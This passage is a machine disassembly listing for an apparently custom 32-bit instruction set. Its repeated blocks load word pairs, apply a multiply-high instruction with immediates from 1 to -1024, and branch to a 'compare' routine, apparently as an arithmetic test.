e21c: 00 10 00 41 add r2,1
e220: 0d 46 6d 10 wl16 r8,0x3370
e224: 0d 60 01 03 wh16 r8,0x3
e228: 10 40 01 08 ld32 r8,r8
e22c: 0d 46 b5 28 wl16 r9,0x35a8
e230: 0d 60 01 23 wh16 r9,0x3
e234: 10 40 01 29 ld32 r9,r9
e238: 00 70 41 00 mulh r8,512
e23c: 20 70 03 e2 movepc rret,8
e240: 14 30 c7 74 br 10 <compare>,#al
e244: 00 10 00 41 add r2,1
e248: 0d 46 6d 14 wl16 r8,0x3374
e24c: 0d 60 01 03 wh16 r8,0x3
e250: 10 40 01 08 ld32 r8,r8
e254: 0d 46 b5 2c wl16 r9,0x35ac
e258: 0d 60 01 23 wh16 r9,0x3
e25c: 10 40 01 29 ld32 r9,r9
e260: 00 70 81 00 mulh r8,-1024
e264: 20 70 03 e2 movepc rret,8
e268: 14 30 c7 6a br 10 <compare>,#al
e26c: 00 10 00 41 add r2,1
e270: 0d 46 6d 18 wl16 r8,0x3378
e274: 0d 60 01 03 wh16 r8,0x3
e278: 10 40 01 08 ld32 r8,r8
e27c: 0d 46 b5 30 wl16 r9,0x35b0
e280: 0d 60 01 23 wh16 r9,0x3
e284: 10 40 01 29 ld32 r9,r9
e288: 00 70 01 01 mulh r8,1
e28c: 20 70 03 e2 movepc rret,8
e290: 14 30 c7 60 br 10 <compare>,#al
e294: 00 10 00 41 add r2,1
e298: 0d 46 6d 1c wl16 r8,0x337c
e29c: 0d 60 01 03 wh16 r8,0x3
e2a0: 10 40 01 08 ld32 r8,r8
e2a4: 0d 46 b5 34 wl16 r9,0x35b4
e2a8: 0d 60 01 23 wh16 r9,0x3
e2ac: 10 40 01 29 ld32 r9,r9
e2b0: 00 70 01 02 mulh r8,2
e2b4: 20 70 03 e2 movepc rret,8
e2b8: 14 30 c7 56 br 10 <compare>,#al
e2bc: 00 10 00 41 add r2,1
e2c0: 0d 46 71 00 wl16 r8,0x3380
e2c4: 0d 60 01 03 wh16 r8,0x3
e2c8: 10 40 01 08 ld32 r8,r8
e2cc: 0d 46 b5 38 wl16 r9,0x35b8
e2d0: 0d 60 01 23 wh16 r9,0x3
e2d4: 10 40 01 29 ld32 r9,r9
e2d8: 00 70 01 04 mulh r8,4
e2dc: 20 70 03 e2 movepc rret,8
e2e0: 14 30 c7 4c br 10 <compare>,#al
e2e4: 00 10 00 41 add r2,1
e2e8: 0d 46 71 04 wl16 r8,0x3384
e2ec: 0d 60 01 03 wh16 r8,0x3
e2f0: 10 40 01 08 ld32 r8,r8
e2f4: 0d 46 b5 3c wl16 r9,0x35bc
e2f8: 0d 60 01 23 wh16 r9,0x3
e2fc: 10 40 01 29 ld32 r9,r9
e300: 00 70 01 08 mulh r8,8
e304: 20 70 03 e2 movepc rret,8
e308: 14 30 c7 42 br 10 <compare>,#al
e30c: 00 10 00 41 add r2,1
e310: 0d 46 71 08 wl16 r8,0x3388
e314: 0d 60 01 03 wh16 r8,0x3
e318: 10 40 01 08 ld32 r8,r8
e31c: 0d 46 b9 20 wl16 r9,0x35c0
e320: 0d 60 01 23 wh16 r9,0x3
e324: 10 40 01 29 ld32 r9,r9
e328: 00 70 01 10 mulh r8,16
e32c: 20 70 03 e2 movepc rret,8
e330: 14 30 c7 38 br 10 <compare>,#al
e334: 00 10 00 41 add r2,1
e338: 0d 46 71 0c wl16 r8,0x338c
e33c: 0d 60 01 03 wh16 r8,0x3
e340: 10 40 01 08 ld32 r8,r8
e344: 0d 46 b9 24 wl16 r9,0x35c4
e348: 0d 60 01 23 wh16 r9,0x3
e34c: 10 40 01 29 ld32 r9,r9
e350: 00 70 05 00 mulh r8,32
e354: 20 70 03 e2 movepc rret,8
e358: 14 30 c7 2e br 10 <compare>,#al
e35c: 00 10 00 41 add r2,1
e360: 0d 46 71 10 wl16 r8,0x3390
e364: 0d 60 01 03 wh16 r8,0x3
e368: 10 40 01 08 ld32 r8,r8
e36c: 0d 46 b9 28 wl16 r9,0x35c8
e370: 0d 60 01 23 wh16 r9,0x3
e374: 10 40 01 29 ld32 r9,r9
e378: 00 70 09 00 mulh r8,64
e37c: 20 70 03 e2 movepc rret,8
e380: 14 30 c7 24 br 10 <compare>,#al
e384: 00 10 00 41 add r2,1
e388: 0d 46 71 14 wl16 r8,0x3394
e38c: 0d 60 01 03 wh16 r8,0x3
e390: 10 40 01 08 ld32 r8,r8
e394: 0d 46 b9 2c wl16 r9,0x35cc
e398: 0d 60 01 23 wh16 r9,0x3
e39c: 10 40 01 29 ld32 r9,r9
e3a0: 00 70 11 00 mulh r8,128
e3a4: 20 70 03 e2 movepc rret,8
e3a8: 14 30 c7 1a br 10 <compare>,#al
e3ac: 00 10 00 41 add r2,1
e3b0: 0d 46 71 18 wl16 r8,0x3398
e3b4: 0d 60 01 03 wh16 r8,0x3
e3b8: 10 40 01 08 ld32 r8,r8
e3bc: 0d 46 b9 30 wl16 r9,0x35d0
e3c0: 0d 60 01 23 wh16 r9,0x3
e3c4: 10 40 01 29 ld32 r9,r9
e3c8: 00 70 21 00 mulh r8,256
e3cc: 20 70 03 e2 movepc rret,8
e3d0: 14 30 c7 10 br 10 <compare>,#al
e3d4: 00 10 00 41 add r2,1
e3d8: 0d 46 71 1c wl16 r8,0x339c
e3dc: 0d 60 01 03 wh16 r8,0x3
e3e0: 10 40 01 08 ld32 r8,r8
e3e4: 0d 46 b9 34 wl16 r9,0x35d4
e3e8: 0d 60 01 23 wh16 r9,0x3
e3ec: 10 40 01 29 ld32 r9,r9
e3f0: 00 70 41 00 mulh r8,512
e3f4: 20 70 03 e2 movepc rret,8
e3f8: 14 30 c7 06 br 10 <compare>,#al
e3fc: 00 10 00 41 add r2,1
e400: 0d 46 75 00 wl16 r8,0x33a0
e404: 0d 60 01 03 wh16 r8,0x3
e408: 10 40 01 08 ld32 r8,r8
e40c: 0d 46 b9 38 wl16 r9,0x35d8
e410: 0d 60 01 23 wh16 r9,0x3
e414: 10 40 01 29 ld32 r9,r9
e418: 00 70 81 00 mulh r8,-1024
e41c: 20 70 03 e2 movepc rret,8
e420: 14 30 c6 fc br 10 <compare>,#al
e424: 00 10 00 41 add r2,1
e428: 0d 46 75 04 wl16 r8,0x33a4
e42c: 0d 60 01 03 wh16 r8,0x3
e430: 10 40 01 08 ld32 r8,r8
e434: 0d 46 b9 3c wl16 r9,0x35dc
e438: 0d 60 01 23 wh16 r9,0x3
e43c: 10 40 01 29 ld32 r9,r9
e440: 00 70 01 01 mulh r8,1
e444: 20 70 03 e2 movepc rret,8
e448: 14 30 c6 f2 br 10 <compare>,#al
e44c: 00 10 00 41 add r2,1
e450: 0d 46 75 08 wl16 r8,0x33a8
e454: 0d 60 01 03 wh16 r8,0x3
e458: 10 40 01 08 ld32 r8,r8
e45c: 0d 46 bd 20 wl16 r9,0x35e0
e460: 0d 60 01 23 wh16 r9,0x3
e464: 10 40 01 29 ld32 r9,r9
e468: 00 70 01 02 mulh r8,2
e46c: 20 70 03 e2 movepc rret,8
e470: 14 30 c6 e8 br 10 <compare>,#al
e474: 00 10 00 41 add r2,1
e478: 0d 46 75 0c wl16 r8,0x33ac
e47c: 0d 60 01 03 wh16 r8,0x3
e480: 10 40 01 08 ld32 r8,r8
e484: 0d 46 bd 24 wl16 r9,0x35e4
e488: 0d 60 01 23 wh16 r9,0x3
e48c: 10 40 01 29 ld32 r9,r9
e490: 00 70 01 04 mulh r8,4
e494: 20 70 03 e2 movepc rret,8
e498: 14 30 c6 de br 10 <compare>,#al
e49c: 00 10 00 41 add r2,1
e4a0: 0d 46 75 10 wl16 r8,0x33b0
e4a4: 0d 60 01 03 wh16 r8,0x3
e4a8: 10 40 01 08 ld32 r8,r8
e4ac: 0d 46 bd 28 wl16 r9,0x35e8
e4b0: 0d 60 01 23 wh16 r9,0x3
e4b4: 10 40 01 29 ld32 r9,r9
e4b8: 00 70 01 08 mulh r8,8
e4bc: 20 70 03 e2 movepc rret,8
e4c0: 14 30 c6 d4 br 10 <compare>,#al
e4c4: 00 10 00 41 add r2,1
e4c8: 0d 46 75 14 wl16 r8,0x33b4
e4cc: 0d 60 01 03 wh16 r8,0x3
e4d0: 10 40 01 08 ld32 r8,r8
e4d4: 0d 46 bd 2c wl16 r9,0x35ec
e4d8: 0d 60 01 23 wh16 r9,0x3
e4dc: 10 40 01 29 ld32 r9,r9
e4e0: 00 70 01 10 mulh r8,16
e4e4: 20 70 03 e2 movepc rret,8
e4e8: 14 30 c6 ca br 10 <compare>,#al
e4ec: 00 10 00 41 add r2,1
e4f0: 0d 46 75 18 wl16 r8,0x33b8
e4f4: 0d 60 01 03 wh16 r8,0x3
e4f8: 10 40 01 08 ld32 r8,r8
e4fc: 0d 46 bd 30 wl16 r9,0x35f0
e500: 0d 60 01 23 wh16 r9,0x3
e504: 10 40 01 29 ld32 r9,r9
e508: 00 70 05 00 mulh r8,32
e50c: 20 70 03 e2 movepc rret,8
e510: 14 30 c6 c0 br 10 <compare>,#al
e514: 00 10 00 41 add r2,1
e518: 0d 46 75 1c wl16 r8,0x33bc
e51c: 0d 60 01 03 wh16 r8,0x3
e520: 10 40 01 08 ld32 r8,r8
e524: 0d 46 bd 34 wl16 r9,0x35f4
e528: 0d 60 01 23 wh16 r9,0x3
e52c: 10 40 01 29 ld32 r9,r9
e530: 00 70 09 00 mulh r8,64
e534: 20 70 03 e2 movepc rret,8
e538: 14 30 c6 b6 br 10 <compare>,#al
e53c: 00 10 00 41 add r2,1
e540: 0d 46 79 00 wl16 r8,0x33c0
e544: 0d 60 01 03 wh16 r8,0x3
e548: 10 40 01 08 ld32 r8,r8
e54c: 0d 46 bd 38 wl16 r9,0x35f8
e550: 0d 60 01 23 wh16 r9,0x3
e554: 10 40 01 29 ld32 r9,r9
e558: 00 70 11 00 mulh r8,128
e55c: 20 70 03 e2 movepc rret,8
e560: 14 30 c6 ac br 10 <compare>,#al
e564: 00 10 00 41 add r2,1
e568: 0d 46 79 04 wl16 r8,0x33c4
e56c: 0d 60 01 03 wh16 r8,0x3
e570: 10 40 01 08 ld32 r8,r8
e574: 0d 46 bd 3c wl16 r9,0x35fc
e578: 0d 60 01 23 wh16 r9,0x3
e57c: 10 40 01 29 ld32 r9,r9
e580: 00 70 21 00 mulh r8,256
e584: 20 70 03 e2 movepc rret,8
e588: 14 30 c6 a2 br 10 <compare>,#al
e58c: 00 10 00 41 add r2,1
e590: 0d 46 79 08 wl16 r8,0x33c8
e594: 0d 60 01 03 wh16 r8,0x3
e598: 10 40 01 08 ld32 r8,r8
e59c: 0d 46 c1 20 wl16 r9,0x3600
e5a0: 0d 60 01 23 wh16 r9,0x3
e5a4: 10 40 01 29 ld32 r9,r9
e5a8: 00 70 41 00 mulh r8,512
e5ac: 20 70 03 e2 movepc rret,8
e5b0: 14 30 c6 98 br 10 <compare>,#al
e5b4: 00 10 00 41 add r2,1
e5b8: 0d 46 79 0c wl16 r8,0x33cc
e5bc: 0d 60 01 03 wh16 r8,0x3
e5c0: 10 40 01 08 ld32 r8,r8
e5c4: 0d 46 c1 24 wl16 r9,0x3604
e5c8: 0d 60 01 23 wh16 r9,0x3
e5cc: 10 40 01 29 ld32 r9,r9
e5d0: 00 70 81 00 mulh r8,-1024
e5d4: 20 70 03 e2 movepc rret,8
e5d8: 14 30 c6 8e br 10 <compare>,#al
e5dc: 00 10 00 41 add r2,1
e5e0: 0d 46 79 10 wl16 r8,0x33d0
e5e4: 0d 60 01 03 wh16 r8,0x3
e5e8: 10 40 01 08 ld32 r8,r8
e5ec: 0d 46 c1 28 wl16 r9,0x3608
e5f0: 0d 60 01 23 wh16 r9,0x3
e5f4: 10 40 01 29 ld32 r9,r9
e5f8: 00 70 01 01 mulh r8,1
e5fc: 20 70 03 e2 movepc rret,8
e600: 14 30 c6 84 br 10 <compare>,#al
e604: 00 10 00 41 add r2,1
e608: 0d 46 79 14 wl16 r8,0x33d4
e60c: 0d 60 01 03 wh16 r8,0x3
e610: 10 40 01 08 ld32 r8,r8
e614: 0d 46 c1 2c wl16 r9,0x360c
e618: 0d 60 01 23 wh16 r9,0x3
e61c: 10 40 01 29 ld32 r9,r9
e620: 00 70 01 02 mulh r8,2
e624: 20 70 03 e2 movepc rret,8
e628: 14 30 c6 7a br 10 <compare>,#al
e62c: 00 10 00 41 add r2,1
e630: 0d 46 79 18 wl16 r8,0x33d8
e634: 0d 60 01 03 wh16 r8,0x3
e638: 10 40 01 08 ld32 r8,r8
e63c: 0d 46 c1 30 wl16 r9,0x3610
e640: 0d 60 01 23 wh16 r9,0x3
e644: 10 40 01 29 ld32 r9,r9
e648: 00 70 01 04 mulh r8,4
e64c: 20 70 03 e2 movepc rret,8
e650: 14 30 c6 70 br 10 <compare>,#al
e654: 00 10 00 41 add r2,1
e658: 0d 46 79 1c wl16 r8,0x33dc
e65c: 0d 60 01 03 wh16 r8,0x3
e660: 10 40 01 08 ld32 r8,r8
e664: 0d 46 c1 34 wl16 r9,0x3614
e668: 0d 60 01 23 wh16 r9,0x3
e66c: 10 40 01 29 ld32 r9,r9
e670: 00 70 01 08 mulh r8,8
e674: 20 70 03 e2 movepc rret,8
e678: 14 30 c6 66 br 10 <compare>,#al
e67c: 00 10 00 41 add r2,1
e680: 0d 46 7d 00 wl16 r8,0x33e0
e684: 0d 60 01 03 wh16 r8,0x3
e688: 10 40 01 08 ld32 r8,r8
e68c: 0d 46 c1 38 wl16 r9,0x3618
e690: 0d 60 01 23 wh16 r9,0x3
e694: 10 40 01 29 ld32 r9,r9
e698: 00 70 01 10 mulh r8,16
e69c: 20 70 03 e2 movepc rret,8
e6a0: 14 30 c6 5c br 10 <compare>,#al
e6a4: 00 10 00 41 add r2,1
e6a8: 0d 46 7d 04 wl16 r8,0x33e4
e6ac: 0d 60 01 03 wh16 r8,0x3
e6b0: 10 40 01 08 ld32 r8,r8
e6b4: 0d 46 c1 3c wl16 r9,0x361c
e6b8: 0d 60 01 23 wh16 r9,0x3
e6bc: 10 40 01 29 ld32 r9,r9
e6c0: 00 70 05 00 mulh r8,32
e6c4: 20 70 03 e2 movepc rret,8
e6c8: 14 30 c6 52 br 10 <compare>,#al
e6cc: 00 10 00 41 add r2,1
e6d0: 0d 46 7d 08 wl16 r8,0x33e8
e6d4: 0d 60 01 03 wh16 r8,0x3
e6d8: 10 40 01 08 ld32 r8,r8
e6dc: 0d 46 c5 20 wl16 r9,0x3620
e6e0: 0d 60 01 23 wh16 r9,0x3
e6e4: 10 40 01 29 ld32 r9,r9
e6e8: 00 70 09 00 mulh r8,64
e6ec: 20 70 03 e2 movepc rret,8
e6f0: 14 30 c6 48 br 10 <compare>,#al
e6f4: 00 10 00 41 add r2,1
e6f8: 0d 46 7d 0c wl16 r8,0x33ec
e6fc: 0d 60 01 03 wh16 r8,0x3
e700: 10 40 01 08 ld32 r8,r8
e704: 0d 46 c5 24 wl16 r9,0x3624
e708: 0d 60 01 23 wh16 r9,0x3
e70c: 10 40 01 29 ld32 r9,r9
e710: 00 70 11 00 mulh r8,128
e714: 20 70 03 e2 movepc rret,8
e718: 14 30 c6 3e br 10 <compare>,#al
e71c: 00 10 00 41 add r2,1
e720: 0d 46 7d 10 wl16 r8,0x33f0
e724: 0d 60 01 03 wh16 r8,0x3
e728: 10 40 01 08 ld32 r8,r8
e72c: 0d 46 c5 28 wl16 r9,0x3628
e730: 0d 60 01 23 wh16 r9,0x3
e734: 10 40 01 29 ld32 r9,r9
e738: 00 70 21 00 mulh r8,256
e73c: 20 70 03 e2 movepc rret,8
e740: 14 30 c6 34 br 10 <compare>,#al
e744: 00 10 00 41 add r2,1
e748: 0d 46 7d 14 wl16 r8,0x33f4
e74c: 0d 60 01 03 wh16 r8,0x3
e750: 10 40 01 08 ld32 r8,r8
e754: 0d 46 c5 2c wl16 r9,0x362c
e758: 0d 60 01 23 wh16 r9,0x3
e75c: 10 40 01 29 ld32 r9,r9
e760: 00 70 41 00 mulh r8,512
e764: 20 70 03 e2 movepc rret,8
e768: 14 30 c6 2a br 10 <compare>,#al
e76c: 00 10 00 41 add r2,1
e770: 0d 46 7d 18 wl16 r8,0x33f8
e774: 0d 60 01 03 wh16 r8,0x3
e778: 10 40 01 08 ld32 r8,r8
e77c: 0d 46 c5 30 wl16 r9,0x3630
e780: 0d 60 01 23 wh16 r9,0x3
e784: 10 40 01 29 ld32 r9,r9
e788: 00 70 81 00 mulh r8,-1024
e78c: 20 70 03 e2 movepc rret,8
e790: 14 30 c6 20 br 10 <compare>,#al
e794: 00 10 00 41 add r2,1
e798: 0d 46 7d 1c wl16 r8,0x33fc
e79c: 0d 60 01 03 wh16 r8,0x3
e7a0: 10 40 01 08 ld32 r8,r8
e7a4: 0d 46 c5 34 wl16 r9,0x3634
e7a8: 0d 60 01 23 wh16 r9,0x3
e7ac: 10 40 01 29 ld32 r9,r9
e7b0: 00 70 01 01 mulh r8,1
e7b4: 20 70 03 e2 movepc rret,8
e7b8: 14 30 c6 16 br 10 <compare>,#al
e7bc: 00 10 00 41 add r2,1
e7c0: 0d 46 81 00 wl16 r8,0x3400
e7c4: 0d 60 01 03 wh16 r8,0x3
e7c8: 10 40 01 08 ld32 r8,r8
e7cc: 0d 46 c5 38 wl16 r9,0x3638
e7d0: 0d 60 01 23 wh16 r9,0x3
e7d4: 10 40 01 29 ld32 r9,r9
e7d8: 00 70 01 02 mulh r8,2
e7dc: 20 70 03 e2 movepc rret,8
e7e0: 14 30 c6 0c br 10 <compare>,#al
e7e4: 00 10 00 41 add r2,1
e7e8: 0d 46 81 04 wl16 r8,0x3404
e7ec: 0d 60 01 03 wh16 r8,0x3
e7f0: 10 40 01 08 ld32 r8,r8
e7f4: 0d 46 c5 3c wl16 r9,0x363c
e7f8: 0d 60 01 23 wh16 r9,0x3
e7fc: 10 40 01 29 ld32 r9,r9
e800: 00 70 01 04 mulh r8,4
e804: 20 70 03 e2 movepc rret,8
e808: 14 30 c6 02 br 10 <compare>,#al
e80c: 00 10 00 41 add r2,1
e810: 0d 46 81 08 wl16 r8,0x3408
e814: 0d 60 01 03 wh16 r8,0x3
e818: 10 40 01 08 ld32 r8,r8
e81c: 0d 46 c9 20 wl16 r9,0x3640
e820: 0d 60 01 23 wh16 r9,0x3
e824: 10 40 01 29 ld32 r9,r9
e828: 00 70 01 08 mulh r8,8
e82c: 20 70 03 e2 movepc rret,8
e830: 14 30 c5 f8 br 10 <compare>,#al
e834: 00 10 00 41 add r2,1
e838: 0d 46 81 0c wl16 r8,0x340c
e83c: 0d 60 01 03 wh16 r8,0x3
e840: 10 40 01 08 ld32 r8,r8
e844: 0d 46 c9 24 wl16 r9,0x3644
e848: 0d 60 01 23 wh16 r9,0x3
e84c: 10 40 01 29 ld32 r9,r9
e850: 00 70 01 10 mulh r8,16
e854: 20 70 03 e2 movepc rret,8
e858: 14 30 c5 ee br 10 <compare>,#al
e85c: 00 10 00 41 add r2,1
e860: 0d 46 81 10 wl16 r8,0x3410
e864: 0d 60 01 03 wh16 r8,0x3
e868: 10 40 01 08 ld32 r8,r8
e86c: 0d 46 c9 28 wl16 r9,0x3648
e870: 0d 60 01 23 wh16 r9,0x3
e874: 10 40 01 29 ld32 r9,r9
e878: 00 70 05 00 mulh r8,32
e87c: 20 70 03 e2 movepc rret,8
e880: 14 30 c5 e4 br 10 <compare>,#al
e884: 00 10 00 41 add r2,1
e888: 0d 46 81 14 wl16 r8,0x3414
e88c: 0d 60 01 03 wh16 r8,0x3
e890: 10 40 01 08 ld32 r8,r8
e894: 0d 46 c9 2c wl16 r9,0x364c
e898: 0d 60 01 23 wh16 r9,0x3
e89c: 10 40 01 29 ld32 r9,r9
e8a0: 00 70 09 00 mulh r8,64
e8a4: 20 70 03 e2 movepc rret,8
e8a8: 14 30 c5 da br 10 <compare>,#al
e8ac: 00 10 00 41 add r2,1
e8b0: 0d 46 81 18 wl16 r8,0x3418
e8b4: 0d 60 01 03 wh16 r8,0x3
e8b8: 10 40 01 08 ld32 r8,r8
e8bc: 0d 46 c9 30 wl16 r9,0x3650
e8c0: 0d 60 01 23 wh16 r9,0x3
e8c4: 10 40 01 29 ld32 r9,r9
e8c8: 00 70 11 00 mulh r8,128
e8cc: 20 70 03 e2 movepc rret,8
e8d0: 14 30 c5 d0 br 10 <compare>,#al
e8d4: 00 10 00 41 add r2,1
e8d8: 0d 46 81 1c wl16 r8,0x341c
e8dc: 0d 60 01 03 wh16 r8,0x3
e8e0: 10 40 01 08 ld32 r8,r8
e8e4: 0d 46 c9 34 wl16 r9,0x3654
e8e8: 0d 60 01 23 wh16 r9,0x3
e8ec: 10 40 01 29 ld32 r9,r9
e8f0: 00 70 21 00 mulh r8,256
e8f4: 20 70 03 e2 movepc rret,8
e8f8: 14 30 c5 c6 br 10 <compare>,#al
e8fc: 00 10 00 41 add r2,1
e900: 0d 46 85 00 wl16 r8,0x3420
e904: 0d 60 01 03 wh16 r8,0x3
e908: 10 40 01 08 ld32 r8,r8
e90c: 0d 46 c9 38 wl16 r9,0x3658
e910: 0d 60 01 23 wh16 r9,0x3
e914: 10 40 01 29 ld32 r9,r9
e918: 00 70 41 00 mulh r8,512
e91c: 20 70 03 e2 movepc rret,8
e920: 14 30 c5 bc br 10 <compare>,#al
e924: 00 10 00 41 add r2,1
e928: 0d 46 85 04 wl16 r8,0x3424
e92c: 0d 60 01 03 wh16 r8,0x3
e930: 10 40 01 08 ld32 r8,r8
e934: 0d 46 c9 3c wl16 r9,0x365c
e938: 0d 60 01 23 wh16 r9,0x3
e93c: 10 40 01 29 ld32 r9,r9
e940: 00 70 81 00 mulh r8,-1024
e944: 20 70 03 e2 movepc rret,8
e948: 14 30 c5 b2 br 10 <compare>,#al
e94c: 00 10 00 41 add r2,1
e950: 0d 46 85 08 wl16 r8,0x3428
e954: 0d 60 01 03 wh16 r8,0x3
e958: 10 40 01 08 ld32 r8,r8
e95c: 0d 46 cd 20 wl16 r9,0x3660
e960: 0d 60 01 23 wh16 r9,0x3
e964: 10 40 01 29 ld32 r9,r9
e968: 00 70 01 01 mulh r8,1
e96c: 20 70 03 e2 movepc rret,8
e970: 14 30 c5 a8 br 10 <compare>,#al
e974: 00 10 00 41 add r2,1
e978: 0d 46 85 0c wl16 r8,0x342c
e97c: 0d 60 01 03 wh16 r8,0x3
e980: 10 40 01 08 ld32 r8,r8
e984: 0d 46 cd 24 wl16 r9,0x3664
e988: 0d 60 01 23 wh16 r9,0x3
e98c: 10 40 01 29 ld32 r9,r9
e990: 00 70 01 02 mulh r8,2
e994: 20 70 03 e2 movepc rret,8
e998: 14 30 c5 9e br 10 <compare>,#al
e99c: 00 10 00 41 add r2,1
e9a0: 0d 46 85 10 wl16 r8,0x3430
e9a4: 0d 60 01 03 wh16 r8,0x3
e9a8: 10 40 01 08 ld32 r8,r8
e9ac: 0d 46 cd 28 wl16 r9,0x3668
e9b0: 0d 60 01 23 wh16 r9,0x3
e9b4: 10 40 01 29 ld32 r9,r9
e9b8: 00 70 01 04 mulh r8,4
e9bc: 20 70 03 e2 movepc rret,8
e9c0: 14 30 c5 94 br 10 <compare>,#al
e9c4: 00 10 00 41 add r2,1
e9c8: 0d 46 85 14 wl16 r8,0x3434
e9cc: 0d 60 01 03 wh16 r8,0x3
e9d0: 10 40 01 08 ld32 r8,r8
e9d4: 0d 46 cd 2c wl16 r9,0x366c
e9d8: 0d 60 01 23 wh16 r9,0x3
e9dc: 10 40 01 29 ld32 r9,r9
e9e0: 00 70 01 08 mulh r8,8
e9e4: 20 70 03 e2 movepc rret,8
e9e8: 14 30 c5 8a br 10 <compare>,#al
e9ec: 00 10 00 41 add r2,1
e9f0: 0d 46 85 18 wl16 r8,0x3438
e9f4: 0d 60 01 03 wh16 r8,0x3
e9f8: 10 40 01 08 ld32 r8,r8
e9fc: 0d 46 cd 30 wl16 r9,0x3670
ea00: 0d 60 01 23 wh16 r9,0x3
ea04: 10 40 01 29 ld32 r9,r9
ea08: 00 70 01 10 mulh r8,16
ea0c: 20 70 03 e2 movepc rret,8
ea10: 14 30 c5 80 br 10 <compare>,#al
ea14: 00 10 00 41 add r2,1
ea18: 0d 46 85 1c wl16 r8,0x343c
ea1c: 0d 60 01 03 wh16 r8,0x3
ea20: 10 40 01 08 ld32 r8,r8
ea24: 0d 46 cd 34 wl16 r9,0x3674
ea28: 0d 60 01 23 wh16 r9,0x3
ea2c: 10 40 01 29 ld32 r9,r9
ea30: 00 70 05 00 mulh r8,32
ea34: 20 70 03 e2 movepc rret,8
ea38: 14 30 c5 76 br 10 <compare>,#al
ea3c: 00 10 00 41 add r2,1
ea40: 0d 46 89 00 wl16 r8,0x3440
ea44: 0d 60 01 03 wh16 r8,0x3
ea48: 10 40 01 08 ld32 r8,r8
ea4c: 0d 46 cd 38 wl16 r9,0x3678
ea50: 0d 60 01 23 wh16 r9,0x3
ea54: 10 40 01 29 ld32 r9,r9
ea58: 00 70 09 00 mulh r8,64
ea5c: 20 70 03 e2 movepc rret,8
ea60: 14 30 c5 6c br 10 <compare>,#al
ea64: 00 10 00 41 add r2,1
ea68: 0d 46 89 04 wl16 r8,0x3444
ea6c: 0d 60 01 03 wh16 r8,0x3
ea70: 10 40 01 08 ld32 r8,r8
ea74: 0d 46 cd 3c wl16 r9,0x367c
ea78: 0d 60 01 23 wh16 r9,0x3
ea7c: 10 40 01 29 ld32 r9,r9
ea80: 00 70 11 00 mulh r8,128
ea84: 20 70 03 e2 movepc rret,8
ea88: 14 30 c5 62 br 10 <compare>,#al
ea8c: 00 10 00 41 add r2,1
ea90: 0d 46 89 08 wl16 r8,0x3448
ea94: 0d 60 01 03 wh16 r8,0x3
ea98: 10 40 01 08 ld32 r8,r8
ea9c: 0d 46 d1 20 wl16 r9,0x3680
eaa0: 0d 60 01 23 wh16 r9,0x3
eaa4: 10 40 01 29 ld32 r9,r9
eaa8: 00 70 21 00 mulh r8,256
eaac: 20 70 03 e2 movepc rret,8
eab0: 14 30 c5 58 br 10 <compare>,#al
eab4: 00 10 00 41 add r2,1
eab8: 0d 46 89 0c wl16 r8,0x344c
eabc: 0d 60 01 03 wh16 r8,0x3
eac0: 10 40 01 08 ld32 r8,r8
eac4: 0d 46 d1 24 wl16 r9,0x3684
eac8: 0d 60 01 23 wh16 r9,0x3
eacc: 10 40 01 29 ld32 r9,r9
ead0: 00 70 41 00 mulh r8,512
ead4: 20 70 03 e2 movepc rret,8
ead8: 14 30 c5 4e br 10 <compare>,#al
eadc: 00 10 00 41 add r2,1
eae0: 0d 46 89 10 wl16 r8,0x3450
eae4: 0d 60 01 03 wh16 r8,0x3
eae8: 10 40 01 08 ld32 r8,r8
eaec: 0d 46 d1 28 wl16 r9,0x3688
eaf0: 0d 60 01 23 wh16 r9,0x3
eaf4: 10 40 01 29 ld32 r9,r9
eaf8: 00 70 81 00 mulh r8,-1024
eafc: 20 70 03 e2 movepc rret,8
eb00: 14 30 c5 44 br 10 <compare>,#al
eb04: 00 10 00 41 add r2,1
eb08: 0d 46 89 14 wl16 r8,0x3454
eb0c: 0d 60 01 03 wh16 r8,0x3
eb10: 10 40 01 08 ld32 r8,r8
eb14: 0d 46 d1 2c wl16 r9,0x368c
eb18: 0d 60 01 23 wh16 r9,0x3
eb1c: 10 40 01 29 ld32 r9,r9
eb20: 00 70 01 01 mulh r8,1
eb24: 20 70 03 e2 movepc rret,8
eb28: 14 30 c5 3a br 10 <compare>,#al
eb2c: 00 10 00 41 add r2,1
eb30: 0d 46 89 18 wl16 r8,0x3458
eb34: 0d 60 01 03 wh16 r8,0x3
eb38: 10 40 01 08 ld32 r8,r8
eb3c: 0d 46 d1 30 wl16 r9,0x3690
eb40: 0d 60 01 23 wh16 r9,0x3
eb44: 10 40 01 29 ld32 r9,r9
eb48: 00 70 01 02 mulh r8,2
eb4c: 20 70 03 e2 movepc rret,8
eb50: 14 30 c5 30 br 10 <compare>,#al
eb54: 00 10 00 41 add r2,1
eb58: 0d 46 89 1c wl16 r8,0x345c
eb5c: 0d 60 01 03 wh16 r8,0x3
eb60: 10 40 01 08 ld32 r8,r8
eb64: 0d 46 d1 34 wl16 r9,0x3694
eb68: 0d 60 01 23 wh16 r9,0x3
eb6c: 10 40 01 29 ld32 r9,r9
eb70: 00 70 01 04 mulh r8,4
eb74: 20 70 03 e2 movepc rret,8
eb78: 14 30 c5 26 br 10 <compare>,#al
eb7c: 00 10 00 41 add r2,1
eb80: 0d 46 8d 00 wl16 r8,0x3460
eb84: 0d 60 01 03 wh16 r8,0x3
eb88: 10 40 01 08 ld32 r8,r8
eb8c: 0d 46 d1 38 wl16 r9,0x3698
eb90: 0d 60 01 23 wh16 r9,0x3
eb94: 10 40 01 29 ld32 r9,r9
eb98: 00 70 01 08 mulh r8,8
eb9c: 20 70 03 e2 movepc rret,8
eba0: 14 30 c5 1c br 10 <compare>,#al
eba4: 00 10 00 41 add r2,1
eba8: 0d 46 8d 04 wl16 r8,0x3464
ebac: 0d 60 01 03 wh16 r8,0x3
ebb0: 10 40 01 08 ld32 r8,r8
ebb4: 0d 46 d1 3c wl16 r9,0x369c
ebb8: 0d 60 01 23 wh16 r9,0x3
ebbc: 10 40 01 29 ld32 r9,r9
ebc0: 00 70 01 10 mulh r8,16
ebc4: 20 70 03 e2 movepc rret,8
ebc8: 14 30 c5 12 br 10 <compare>,#al
ebcc: 00 10 00 41 add r2,1
ebd0: 0d 46 8d 08 wl16 r8,0x3468
ebd4: 0d 60 01 03 wh16 r8,0x3
ebd8: 10 40 01 08 ld32 r8,r8
ebdc: 0d 46 d5 20 wl16 r9,0x36a0
ebe0: 0d 60 01 23 wh16 r9,0x3
ebe4: 10 40 01 29 ld32 r9,r9
ebe8: 00 70 05 00 mulh r8,32
ebec: 20 70 03 e2 movepc rret,8
